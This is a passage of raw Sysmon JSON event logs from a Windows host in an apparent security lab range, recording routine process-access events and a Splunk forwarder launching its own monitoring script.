11:52:30.574","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3626,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:30.574\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:30.574","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3627,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:30.574\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:30.574","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3628,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:30.574\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:30.574","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3629,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:30.574\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:30.574","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3630,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:30.574\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:30.574","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3631,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:30.574\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-001095160500}\r\nSourceProcessId: 664\r\nSourceThreadId: 2796\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-407E-5F2D-0000-0010ED490500}\r\nTargetProcessId: 4816\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:30.574","SourceProcessGUID":"{90617006-407B-5F2D-0000-001095160500}","SourceProcessId":"664","SourceThreadId":"2796","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-407E-5F2D-0000-0010ED490500}","TargetProcessId":"4816","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":3632,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:30.815\r\nProcessGuid: {90617006-407E-5F2D-0000-00109C4C0500}\r\nProcessId: 4564\r\nImage: C:\\Windows\\System32\\cmd.exe\r\nFileVersion: 10.0.14393.0 (rs1_release.160715-1616)\r\nDescription: Windows Command Processor\r\nProduct: Microsoft® Windows® Operating System\r\nCompany: Microsoft Corporation\r\nOriginalFileName: Cmd.Exe\r\nCommandLine: C:\\Windows\\system32\\cmd.exe /c \"\"C:\\Program Files\\SplunkUniversalForwarder\\etc\\system\\bin\\MonitorNoHandle.cmd\" --scheme\"\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A\r\nParentProcessGuid: {90617006-407B-5F2D-0000-0010B4110500}\r\nParentProcessId: 5056\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:52:30.815","ProcessGuid":"{90617006-407E-5F2D-0000-00109C4C0500}","Image":"C:\\Windows\\System32\\cmd.exe","FileVersion":"10.0.14393.0 (rs1_release.160715-1616)","Description":"Windows Command Processor","Product":"Microsoft® Windows® Operating System","Company":"Microsoft Corporation","OriginalFileName":"Cmd.Exe","CommandLine":"C:\\Windows\\system32\\cmd.exe /c \"\"C:\\Program Files\\SplunkUniversalForwarder\\etc\\system\\bin\\MonitorNoHandle.cmd\" --scheme\"","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A","ParentProcessGuid":"{90617006-407B-5F2D-0000-0010B4110500}","ParentProcessId":"5056","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","EventReceivedTime":"2020-08-07 11:52:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3633,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:30.809\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-0010B4110500}\r\nSourceProcessId: 5056\r\nSourceThreadId: 3600\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nTargetProcessGUID: {90617006-4078-5F2D-0000-0010BFF70400}\r\nTargetProcessId: 4564\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7d35e7|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7cdcb9|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7ca4ec|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7ca0a3|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7c9f0d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6d7908|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6de2ee|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6b29fa|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6b4274|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+e42dc|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ec682|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+e9959|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+d7f31|C:\\Windows\\System32\\sechost.dll+14342|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:30.809","SourceProcessGUID":"{90617006-407B-5F2D-0000-0010B4110500}","SourceProcessId":"5056","SourceThreadId":"3600","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","TargetProcessGUID":"{90617006-4078-5F2D-0000-0010BFF70400}","TargetProcessId":"4564","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7d35e7|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7cdcb9|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7ca4ec|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7ca0a3|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7c9f0d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6d7908|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6de2ee|C:\\Program 